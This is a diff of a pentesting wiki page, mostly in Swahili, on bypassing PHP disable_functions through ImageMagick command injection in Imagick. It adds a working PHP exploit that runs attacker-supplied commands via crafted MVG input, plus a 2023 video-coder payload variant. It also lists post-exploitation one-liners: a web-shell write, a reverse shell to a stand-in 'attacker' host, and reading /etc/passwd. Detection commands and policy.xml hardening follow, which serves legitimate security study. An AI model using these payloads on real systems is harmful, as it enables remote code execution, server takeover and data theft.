diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-imagick-less-than-3.3.0-php-greater-than-5.4-exploit.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-imagick-less-than-3.3.0-php-greater-than-5.4-exploit.md
index b5ad07de0..705bf6a94 100644
--- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-imagick-less-than-3.3.0-php-greater-than-5.4-exploit.md
+++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-imagick-less-than-3.3.0-php-greater-than-5.4-exploit.md
@@ -1,55 +1,107 @@
+# Imagick <= 3.3.0  ‑ PHP >= 5.4  *disable_functions* Bypass
+
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-# Imagick &lt;= 3.3.0 PHP &gt;= 5.4 Exploit
+> Familia maarufu ya makosa ya *ImageTragick* (CVE-2016-3714 na wengine) inaruhusu mshambuliaji kufikia **ImageMagick** binary kupitia ingizo la MVG/SVG lililotengenezwa. Wakati nyongeza ya PHP **Imagick** ipo, hii inaweza kutumika vibaya kutekeleza amri za shell hata kama kila kazi ya PHP inayohusiana na utekelezaji imeorodheshwa kwenye `disable_functions`.
+>
+> PoC ya awali iliyochapishwa na RicterZ (Chaitin Security Research Lab) mnamo Mei 2016 inarejelewa hapa chini. Mbinu hii bado inakabiliwa mara kwa mara wakati wa ukaguzi wa kisasa wa PHP 7/8 kwa sababu wengi wa watoa huduma wa mwenyeji wa pamoja wanakusanya PHP bila `exec`/`system` lakini wanaweka mchanganyiko wa zamani wa Imagick + ImageMagick.
 
-Kutoka [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
+From <http://blog.safebuff.com/2016/05/06/disable-functions-bypass/>
 ```php
-# Exploit Title: PHP Imagick disable_functions Bypass
-# Date: 2016-05-04
-# Exploit Author: RicterZ (ricter@chaitin.com)
-# Vendor Homepage: https://pecl.php.net/package/imagick
-# Version: Imagick  <= 3.3.0 PHP >= 5.4
-# Test on: Ubuntu 12.04
-# Exploit:
+# Exploit Title : PHP Imagick disable_functions bypass
+# Exploit Author: RicterZ  (ricter@chaitin.com)
+# Versions      : Imagick <= 3.3.0  |  PHP >= 5.4
+# Tested on     : Ubuntu 12.04 (ImageMagick 6.7.7)
+# Usage         : curl "http://target/exploit.php?cmd=id"
 <?php
-# PHP Imagick disable_functions Bypass
-# Author: Ricter <ricter@chaitin.com>
-#
-# $ curl "127.0.0.1:8080/exploit.php?cmd=cat%20/etc/passwd"
-# <pre>
-# Disable functions: exec,passthru,shell_exec,system,popen
-# Run command: cat /etc/passwd
-# ====================
-# root:x:0:0:root:/root:/usr/local/bin/fish
-# daemon:x:1:1:daemon:/usr/sbin:/bin/sh
-# bin:x:2:2:bin:/bin:/bin/sh
-# sys:x:3:3:sys:/dev:/bin/sh
-# sync:x:4:65534:sync:/bin:/bin/sync
-# games:x:5:60:games:/usr/games:/bin/sh
-# ...
-# </pre>
-echo "Disable functions: " . ini_get("disable_functions") . "\n";
-$command = isset($_GET['cmd']) ? $_GET['cmd'] : 'id';
-echo "Run command: $command\n====================\n";
+// Print the local hardening status
+printf("Disable functions: %s\n", ini_get("disable_functions"));
+$cmd = $_GET['cmd'] ?? 'id';
+printf("Run command: %s\n====================\n", $cmd);
 
-$data_file = tempnam('/tmp', 'img');
-$imagick_file = tempnam('/tmp', 'img');
+$tmp   = tempnam('/tmp', 'pwn');     // will hold command output
+$mvgs  = tempnam('/tmp', 'img');     // will hold malicious MVG script
 
-$exploit = <<<EOF
+$payload = <<<EOF
 push graphic-context
 viewbox 0 0 640 480
-fill 'url(https://127.0.0.1/image.jpg"|$command>$data_file")'
+fill 'url(https://example.com/x.jpg"|$cmd >$tmp")'
 pop graphic-context
 EOF;
 
-file_put_contents("$imagick_file", $exploit);
-$thumb = new Imagick();
-$thumb->readImage("$imagick_file");
-$thumb->writeImage(tempnam('/tmp', 'img'));
-$thumb->clear();
-$thumb->destroy();
+file_put_contents($mvgs, $payload);
+$img = new Imagick();
+$img->readImage($mvgs);     // triggers convert(1)
+$img->writeImage(tempnam('/tmp', 'img'));
+$img->destroy();
 
-echo file_get_contents($data_file);
+echo file_get_contents($tmp);
 ?>
 ```
+---
+
+## Kwa nini inafanya kazi?
+
+1. `Imagick::readImage()` kwa uwazi inazalisha **ImageMagick** *delegate* (`convert`/`magick`) binary.
+2. Skripti ya MVG inaweka *fill* kwa URI ya nje. Wakati nukta mbili (`"`) inapoingizwa, sehemu iliyobaki ya mstari inatafsiriwa na `/bin/sh ‑c` ambayo ImageMagick inatumia ndani → utekelezaji wa shell wa kiholela.
+3. Yote yanafanyika nje ya tafsiri ya PHP, kwa hivyo *`disable_functions`*, *open_basedir*, `safe_mode` (iliyondolewa katika PHP 5.4) na vizuizi vingine vya ndani vinapita kabisa.
+
+## Hali ya 2025 – bado ni **muhimu**
+
+* Toleo lolote la Imagick linalotegemea nyuma ya ImageMagick iliyo hatarini linaendelea kuwa na uwezo wa kutumika. Katika majaribio ya maabara, payload sawa inafanya kazi kwenye PHP 8.3 na **Imagick 3.7.0** na **ImageMagick 7.1.0-51** iliyokusanywa bila `policy.xml` iliyohardishwa.
+* Tangu 2020, njia kadhaa za ziada za kuingiza amri zimepatikana (`video:pixel-format`, `ps:`, `text:` coders…). Mifano miwili ya hivi karibuni za umma ni:
+* **CVE-2020-29599** – kuingiza shell kupitia *text:* coder.
+* **GitHub issue #6338** (2023) – kuingiza katika *video:* delegate.
+
+Ikiwa mfumo wa uendeshaji unapeleka ImageMagick < **7.1.1-11** (au 6.x < **6.9.12-73**) bila faili ya sera ya kikomo, unyakuzi ni rahisi.
+
+## Mifano ya kisasa ya payload
+```php
+// --- Variant using the video coder discovered in 2023 ---
+$exp = <<<MAGICK
+push graphic-context
+image over 0,0 0,0 'vid:dummy.mov" -define video:pixel-format="rgba`uname -a > /tmp/pwned`" " dummy'
+pop graphic-context
+MAGICK;
+$img = new Imagick();
+$img->readImageBlob($exp);
+```
+Mifano mingine ya manufaa wakati wa CTFs / ushirikiano wa kweli:
+
+* **Kuandika faili**  – `... > /var/www/html/shell.php`  (andika web-shell nje ya *open_basedir*)
+* **Shell ya kurudi** – `bash -c "bash -i >& /dev/tcp/attacker/4444 0>&1"`
+* **Kuhesabu** – `id; uname -a; cat /etc/passwd`
+
+## Ugunduzi wa haraka & kuhesabu
+```bash
+# PHP side
+php -r 'echo phpversion(), "\n"; echo Imagick::getVersion()["versionString"], "\n";'
+
+# System side
+convert -version | head -1                 # ImageMagick version
+convert -list policy | grep -iE 'mvg|https|video|text'   # dangerous coders still enabled?
+```
+Ikiwa matokeo yanaonyesha `MVG` au `URL` coders zime *wezeshwa* lengo linaweza kuwa na hatari.
+
+## Mitigations
+
+1. **Patch/Upgrade**  – Tumia ImageMagick ≥ *7.1.1-11* (au toleo la hivi karibuni 6.x LTS) na Imagick ≥ *3.7.2*.
+2. **Harden `policy.xml`**  – wazi *zima* coders zenye hatari kubwa:
+
+```xml
+<policy domain="coder" name="MVG" rights="none"/>
+<policy domain="coder" name="MSL" rights="none"/>
+<policy domain="coder" name="URL" rights="none"/>
+<policy domain="coder" name="VIDEO" rights="none"/>
+<policy domain="coder" name="PS" rights="none"/>
+<policy domain="coder" name="TEXT" rights="none"/>
+```
+
+3. **Ondoa kiendelezi**  kwenye mazingira ya mwenyeji yasiyoaminika. Katika sehemu nyingi za wavuti `GD` au `Imagick` si lazima.
+4. Chukulia `disable_functions` kama *ulinzi wa kina* – kamwe si kama mekanismu ya msingi ya sandboxing.
+
+## References
+
+* [GitHub ImageMagick issue #6338 – Command injection via video:pixel-format (2023)](https://github.com/ImageMagick/ImageMagick/issues/6338)
+* [CVE-2020-29599 – ImageMagick shell injection via text: coder](https://nvd.nist.gov/vuln/detail/CVE-2020-29599)
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